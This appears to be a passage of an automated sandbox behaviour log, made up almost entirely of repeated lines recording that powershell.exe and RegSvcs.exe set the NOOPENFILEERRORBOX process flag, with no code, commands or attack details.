Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
